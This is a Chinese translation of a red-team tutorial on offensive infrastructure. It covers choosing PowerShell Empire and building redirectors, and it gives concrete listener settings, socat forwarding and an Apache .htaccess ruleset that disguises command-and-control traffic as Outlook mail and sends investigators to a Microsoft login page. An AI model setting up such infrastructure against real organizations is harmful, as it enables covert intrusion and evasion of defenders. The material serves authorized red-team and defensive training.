译者: sn00py@D0g3

序言

这篇文章特别针对那些想深入研究红队测试,并从传统渗透测试向前迈进一步的初学者。它也将有助于蓝队/应急响应团队/SOC分析员了解研究方法,并在与红队或真实对手的博弈中有所准备。这是一篇很长的帖子,所以读者最好先拿一杯咖啡,再继续阅读。

什么是红队测试?

根据Redteamsecure.com的定义,红队测试是全方位、多层次的攻击模拟,旨在衡量一家公司的人员、网络、应用程序和硬件设施的安全控制在多大程度上能够抵御来自现实世界对手的攻击。

在与红队的交锋中,训练有素的安全顾问会制定攻击方案,以揭示潜在的物理、硬件、软件和人为漏洞。红队测试还可以识别不良行为者和恶意内部人员破坏公司系统和网络或导致数据泄露的情况。

这是一段来自RedTeamSecurity的视频,从中可以深入了解到红队的工作方式,但这与我们的方法并不完全相同。该方法和方法依据与组织的商定条款有所不同。

译者注:视频需fq观看

Watch hackers break into the US power grid

渗透测试 vs 红队测试

渗透测试可以定义为对组织安全状况的评估,该安全状态以受控方式执行,并且通常由安全管理员指定和管理。完成项目的给定时间和范围非常有限,通常不会考虑社会工程,恶意软件执行等现实威胁。大多数情况下,你将为给定的网络范围、Web应用程序、移动应用程序、无线等执行渗透。而与该特定范围相关的所有人员都将得到一个预先的信息,其中包括测试的时间段,以及测试人员使用的IP段白名单,以便确定只有指定的渗透小组正在攻击他们。

在渗透测试中,通常不会跨越漏洞利用阶段。如果你已经拿到远程主机的shell,并能借此进行一次全面的测试评估,那么在大多数情况下,客户会让你止步于此。如果给定了一系列内部/外部IP地址或多个web应用程序,则必须尝试在所有这些程序中发现漏洞,你不能忽视他们中的任何一个。

当今世界,由国家资助的黑客/ APT团队随时准备攻击他们想要的任何组织,而他们没有任何上述限制,这听起来就很可怕了。

当真正的攻击者想要攻入一个组织时,他将不会使用传统的渗透方法。攻击者会尽一切努力进入组织来窃取数据或破坏组织的声誉。在尝试以任何方式进入内部之前,他可能会计划数周甚至数月。这是传统的渗透测试和红队测试之间的区别。

而红队扮演真正的有攻击性的攻击者。大多数时候,红队的目标范围很大。整个组织的环境都在范围内,他们的目标是渗透,权限维持,建立跳板,后利用,以检查一个坚定的敌人可以做什么。红队可以使用所有战术,包括社会工程。最后,整个行动以红队控制整个网络或他们的行动被发现,然后被网络安全管理员阻止而告终。届时,他们将向管理层报告他们的发现,以协助提高网络的安全性。

红队的主要目标之一是即使他们进入组织内部也要保持隐蔽。而渗透测试人员在网络上动静很大,很容易被检测到,因为他们采用传统的方式进入组织。而红队是隐秘且快速的,并且在技术上具备规避AV、端点保护解决方案、防火墙和该组织已经实施的其他安全措施的知识。

综上而言,红队测试和渗透测试所需的技能组合是完全不同的。

作为红队,我们做些什么?

大概分为以下几类:

  • 信息侦察 - 使用被动和主动侦察技术收集有关员工、管理员、技术栈,安全设备等信息
  • 物理安全 - 绘制建筑物的实物图,绕过或克隆RFID /生物识别,开锁等
  • 社会工程 - 恶意软件投递/有针对性的网络钓鱼来获取凭证,进入大楼/ODC,假冒调查,种植网络植入物,Dumspter diving(通过物理垃圾来收集有关用户的信息)等
  • 漏洞利用 - Payload投递 & 执行,建立C&C服务器通信。
  • 权限维持 - 提权,维持持久性,建立跳板

  • 后期利用 - 横向移动和数据外泄

目标

从外部就能渗透入一个组织的日子已经一去不返了。如今,大多数暴露在外网的网络节点和WEB应用程序都非常安全。现在想获得较高成功率的唯一方式是,以某种方式在组织内部执行我们的有效载荷,然后回连我们。

这需要大量的工作和实践来绕过现有的现代端点保护、代理、IDS和其他安全设备。有效载荷必须避开所有的安全设备,并保持隐蔽,不触发蓝队/SOC团队的任何重大警报。

本文的目标是在保持隐蔽的同时,在目标组织的网络内获得初始立足点。现在,许多组织更喜欢“假定攻击”红队演习,即假设在自身已经被攻破的情况下,攻击者通过后续攻击可以造成什么样的危害。我们将在本系列文章的后续部分讨论有关后期利用的问题,但在本文中,我们仅讨论下面几个阶段:

  1. C2/后利用框架选择
  2. C2 infra配置
  3. Payload创建
  4. Payload投递
  5. AV/端点保护/NIDS规避

在网络中获得初步立足点之后,我们的目标是在该组织内进行特权升级,建立跳板,横向移动,最后将敏感数据泄露出去。

我们假定目标组织是一家拥有全面安全产品和策略的“财富”500强公司。

1. C2/后利用框架选择

在红队测试过程中,选择正确的C2框架是最重要的一步。正确的C2框架必须具有灵活性、敏捷性和抗弹性,以对抗蓝队的防御措施。它必须建立并持续数周/月,直到红队测试结束。丢掉在红队测试期间使用Metasploit的想法吧。对于传统渗透来说,它是一个很好的利用框架,但是当涉及到持续数周到数月的测试时,Metasploit并不是合适的工具。我们可以编写自己的框架,也可以使用已经过试验的东西。编写自己的C2框架将是一个大工程,需要大量的专业知识和时间。我们还是选择已经受全球各地专家青睐的工具吧。

经多大量的调研和讨论,我在此给出两个选择:

  • CobaltStrike:红队作战的最佳框架。有很多令人惊叹的功能,你在其他任何地方都找不到。向创造这个高超工具的rsmudge致敬!当然,好的东西通常都不是免费的,它的价格为3500美元/年。
  • powershell Empire:这是另一个伟大的工具,可用于创建有效载荷和后期利用。Empire是一个纯粹的powershell后利用代理,建立在加密安全通信和灵活的架构之上。并且它是开源的,完全免费!感谢@ harmj0y,@ sixdub,@ enigma0x3等人创造了这么棒的工具。

我们将使用powershell Empire,因为它是开源的,可免费供所有人使用。读者可以去powershell Empire官方网站查阅其使用文档。

不过,我想再提一下为什么我选择PowerShell Empire作为一个合适的后利用框架。

  1. 灵活和有弹性 - 与Metasploit不同,如果你的监听端掉线了一次,你就会失去连接。Empire代理可以继续尝试与你通信,直到达到你在设置有效负载时定义的连接尝试次数。代理信息存储在sqlite文件中,当你再次启动empire时可以获取该文件。一旦为监听器定义了参数,就不会再变动,除非手动修改。省的一次又一次地重复设置监听器。因为它是开源和模块化的,你还可以在Empire内部使用自己的powershell脚本。

  2. 使用powershell和python - 考虑到这一点,我们的目标是一个组织,大多数时候,他们的基础设施主要由windows系统组成,使用powershell是一个最佳的选择。Empire至少需要PowerShell v2.0来运行,它可以在Win Vista~Win 10上运行,但在Win XP系统上不起作用。它还为我们提供了绕过应用程序白名单的优势,这在许多组织中有所使用,因为PowerShell默认启用,我们不用删除或生成任何新的可执行文件。而对于基于unix的主机,我们可以使用基于python的Empire代理。

  3. 代理感知有效负载 - 它自动从当前正在使用的系统中获取代理和缓存的证书,并使用它来与C2服务器通信。许多传统工具和有效负载在这点上是不足的,因为除非明确指定,否则它们无法自动获取代理。因为我们的目标是一家财富500强公司,它肯定会使用代理服务器来处理任何类型的网络请求。
  4. 可拓展C2配置文件 - C2配置文件表示代理与C2服务器通信的标识符。它包括监听器协议、http url、用户代理、回调时间、丢失限制,波动、加密密钥等。AV供应商根据这些特征编写签名。很多时候,使用默认参数会导致触发AV的检测,然后移除有效载荷并阻止主机与C2服务器之间的通信。因此,在创建有效载荷时最好修改这些标识符,以规避检测。
  5. 可在不运行powershell.exe的情况下运行powershell代理 - 由于PowerShell被恶意软件严重滥用,许多组织要么完全阻止powershell.exe执行,要么记录从powershell.exe发起的每个活动,然后交给中央日志分析工具,可能会对任何可疑活动发出警报。为了解决这个问题,我们实际上可以在不运行powershell.exe的情况下启动powershell。Empire提供了一些选项来实现该功能。
  6. Invoke-Obfuscation模块预加载 - Empire有一个选项来对所有源代码、stagers和有效负载做不同程度的混淆。在规避基于签名的AV检测时很有帮助。

  7. 可靠的持久性模块** - 它有几个非常可靠的持久化模块,这些模块工作得很完美。使用WMI进行持久化是我最喜欢的模块之一。

  8. 大量的后利用模块 - 它有许多用PowerShell编写的优秀后利用模块,可用于信息收集,横向移动,HASH存储和系统管理。
  9. 不同的监听器选项 - 与Metasploit保持与C2服务器的持续TCP连接不同,帝国可以通过可自定义延迟和允许中间抖动的http协议通信,因此很难检测到C2流量。它有很多监听器选项,其中包括http_hop甚至Dropbox作为C2。
    powershell Empire:

    Empire http监听器选项:

    Empire中不同的有效负载生成选项:

    Empire各种监听器:

2. C2基础设施

我们的C2(Command & Control)基础设施将包括我们的C2服务器,重定向器,钓鱼服务器和有效载荷投递服务器。在红队测试项目中,我们需要部署一个弹性C2基础设施,可以持续数周和数月,具体取决于项目的持续时间。基础设施必须灵活且足够强大,以抵御蓝队的预防行动。

例如,当蓝队发现组织已经被攻破,开始识别C2流量时,他们将开始拦截C2通信。你的C2基础设施应该料敌于先:即使当蓝队开始阻止你的活动时,也应该保持稳定。

传统渗透的基础设施:

@bluescreenofjeff已经写了一篇伟大的博文讨论如何设计一个弹性C2。本文的受到他的启发,我建议大家阅读他的博客,我在这里以更简洁的方式复述一些设计时要考虑的因素,我从中受益颇多:

2.1 隔离

你必须在测试期间架设多个C2服务器、多个重定向器、网络钓鱼服务器和有效载荷投递服务器。所有这一切都必须在不同的服务器上。我们需要将我们的基础设施分开,因为这将为我们提供所需的灵活性和弹性。例如,如果你的网络钓鱼服务器在测试期间被捕获并且蓝队封锁了电子邮件的接收域,你依然不会丢失对已经拥有的主机的控制权,因为你的C2服务器托管在不同的服务器和域上。

你的短程和长程C2服务器也应该托管在不同的域中。一般来说,短程C2在交战过程中很容易被捕获到。短程C2和长程C2之间的隔离能让你维持更长的时间。

所谓短程C2服务器是那种每隔几秒就会收到回调的服务器,用于在受害者的机器上实时执行命令。长途C2服务器是每隔几个小时才会收到回调的服务器。这将有助于我们的持久化并规避恶意流量检测。

隔离基础设施为你提供更高的灵活性和更强的对抗蓝队预防措施的能力。以下是现代红队基础设施的示例图。
红队基础设施示例:

2.2 重定向

重定向器可以放置在每个C2服务器的前面,以保护我们的核心基础架构不被识别和拦截。在C2服务器前使用重定向器有很多优点:

  • 防止核心C2基础设施被识别 - 即使蓝队发现了恶意软件通信使用的域名,我们的核心基础设施也将保持隐蔽。如果他们开始拦截恶意域名,我们可以快速切换到实时在不同域名上运行的不同重定向器。这将节省我们使用C2框架和所需工具设置另一台服务器的工作量和时间。
  • 混淆 - 当蓝队开始调查并拦截我们的域名时,他们可能会感到困惑。只有C2流量会被重定向到原始C2服务器,但如果其他人试图调查C2域,重定向服务器会将流量重定向到另一个合法网站。

我们可以实现两种不同的重定向:

2.2.1 哑管重定向

我们可以使用Socat或IPtables执行哑管道重定向。它会将所有传入流量转发到C2服务器。使用哑管道重定向器的唯一优势是原来的C2服务器将保持隐藏状态。它可以使用IPtables或Socat实现。Socat比在IPtables中配置规则更容易使用。 Socat 是一个基于命令行的实用程序,它建立两个双向字节流并在它们之间传输数据。

这是Socat的基本语法,它将端口80上传入的所有TCP流量转发到指定远程主机的80端口。

Socat TCP4-LISTEN:80,fork TCP4:<REMOTE-HOST-IP-ADDRESS>:80

哑管重定向:

2.2.2 智能重定向

智能重定向将所有C2流量转发到C2服务器,并将所有其他流量重定向到合法网站。用于对抗蓝队调查我们的C2服务器。访问C2域名的任何人都将被重定向到另一个合法站点。这同样适用于curl、wget或Web扫描器等工具。这可以提高C2基础架构的弹性。

智能重定向:

实现智能重定向的最简单方法之一是使用mod_rewrite。

mod_rewrite能够根据请求属性(如URI、User-Agent、查询字符串、操作系统和IP)执行条件重定向。Apache mod_rewrite使用htaccess文件来配置规则集,以便Apache能够处理每个请求。

首先,我们必须根据我们尝试伪装的网络流量来定制我们的Empire C2。在这个例子中,我尝试将我的C2流量伪装成Microsoft实时电子邮件流量。你可以根据你要伪装的的Web服务更改User-Agent,URL,服务器头。如果有任何工具或人员正在监视http网络流量,他并不会被发现,因为它伪装成了outlook电子邮件流量。

它看起来就像安装在某人桌面或手机上的Outlook应用程序,每隔几分钟就会尝试与收件箱同步。在本例中,任何类型的流量如果与C2流量不匹配,就会被重定向到https://login.microsoftonline.com ,从而减少怀疑。在这篇文章的AV规避部分中将有更多对于此的讨论。

为了设置智能重定向,需要配置C2服务器和重定向服务器。下面是关于如何为智能重定向配置C2服务器和重定向服务器的详细信息。

配置C2服务器

listeners
uselistener http
set Name microsoft
set DefaultJitter 0.6
set DefaultDelay 11
set DefaultProfile /owa/mail/inbox.srf,/owa/mail/drafts.srf,/owa/mail/archive.srf|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; yie11; rv:11.0) like Gecko|Accept:*/*
set Host http://[Redirector-ip]:80

将上述文本保存为microsoft.profile并使用以下命令启动powershell empire

./empire -r microsoft.profile (would start empire with the microsoft profile)

Empire http监听器选项:

配置重定向服务器

  • /etc/apache2/apache.conf<Directory /var/www/>里的AllowOverride None改成AllowOverride All
  • 启用mod_rewrite所需的apache模块

    sudo a2enmod rewrite proxy proxy_http
    sudo service apache2 restart
    
  • 编写.htaccess文件,使其实现重定向。这部分很棘手,因为如果出现问题,C2流量将永远不会转发到原始的C2服务器。一定要仔细检查RewriteCond正则表达式是否正常工作。

    RewriteEngine On
    
    #URL condition – Empire’s url structure
    RewriteCond %{REQUEST_URI} ^/(owa/mail/inbox.srf|owa/mail/drafts.srf|owa/mail/archive.srf)/?$
    
    #UserAgent condition – Empire agent’s custom user agent
    RewriteCond %{HTTP_USER_AGENT} ^Mozilla/5\.0\ \(Windows\ NT\ 6\.1;\ WOW64;\ Trident/7\.0;\ yie11;\ rv:11\.0\)\ like\ Gecko?$
    
    #Redirect the original C2 traffic to this host
    RewriteRule ^.*$ http://[C2 server]%{REQUEST_URI} [P]
    
    # Redirect all other traffic here
    RewriteRule ^.*$ https://login.microsoftonline.com/? [L,R=302]
    
  • 将.htaccess文件放在/var/www/html中,修改权限为644。然后重新启动apache服务器

  • 如果一切顺利,当你的代理在受害者的计算机上执行时,原始C2服务器将收到来自重定向服务器的回调。尝试访问重定向器域的任何其他人都将被重定向到https://login.microsoftonline.com

2.3 使用SSL加密C2流量

通过https进行C2通信在绕过AV/IDS检测方面具有很大的优势,我们将在AV Evasion部分讨论。

以上步骤适用于HTTP流量,但如果我们要使用https以及重定向,则需要按照以下步骤操作:

配置重定向服务器

  • 在重定向器服务器上启用ssl并在ssl配置文件中启用SSLProxyEngine

    a2enmod ssl
    
  • /etc/apache2/sites-available/000-default-le-ssl.conf中添加这几行

    SSLProxyEngine On
    SSLProxyVerify none
    SSLProxyCheckPeerCN off
    SSLProxyCheckPeerName off
  • 重启apache

  • 用下面的规则替换.htaccess中的第一个重写规则

    RewriteRule ^.*$ http://[C2 server]:443%{REQUEST_URI} [P]

配置C2服务器

  • 将host设置为https,并把端口设为443

运行代理,如果一切正常,你的代理将通过https与重定向器服务器通信,然后将流量转发到C2服务器。

2.4 日志管理

在测试过程中,你必须实施某种日志管理过程。记录C2/重定向服务器的网络活动有很多好处:

2.4.1 态势感知

你需要了解蓝队的调查工作。日志将为你提供大量信息,就像亲眼看到蓝队在你的服务器上做了什么一样。

他们使用curl/wget吗?他们是否试图在你的服务器上运行端口扫描?他们是否在你的服务器上运行一些web漏洞扫描器/dirbuster ?他们是否试图从浏览器访问你的服务器?使用了什么浏览器?他们从什么时候开始调查的?他们在哪个时区工作?他们的公共IP地址是什么?它是否与该组织的公共IP地址相同?他们想要调查什么?它是试图侵入你的服务器的其他人吗?

2.4.2 弹性应变

你可以很容易地发现他们是否已经开始尝试调查你的C2服务器,并根据具体情况,你可以在他们拦截该域名之前动态地更改代理的C2服务器。Empire提供了在不同的侦听器上生成新代理的选项。

只需查看apache访问日志,就可以找到许多详细信息,例如 - IP地址,时间戳,访问的Url,响应代码,浏览器的User-Agent。

如果除Empire外的其他人访问webserver,将会很容易暴露,因为它的响应状态码是302。一个简单的“grep”和“cut”‘命令就能揭示蓝队的调查意图。

当你拥有大量C2和重定向服务器时,建议使用中央日志服务器和管理工具,以便在发生任何可疑活动时提醒你。选择什么样的日志管理工具取决于基础设施的规模大小和你对工具的熟悉程度,这就交给各位自由选择了。


原文:https://payatu.com/redteaming-from-zero-to-one-part-1/

点击收藏 | 4 关注 | 2
登录 后跟帖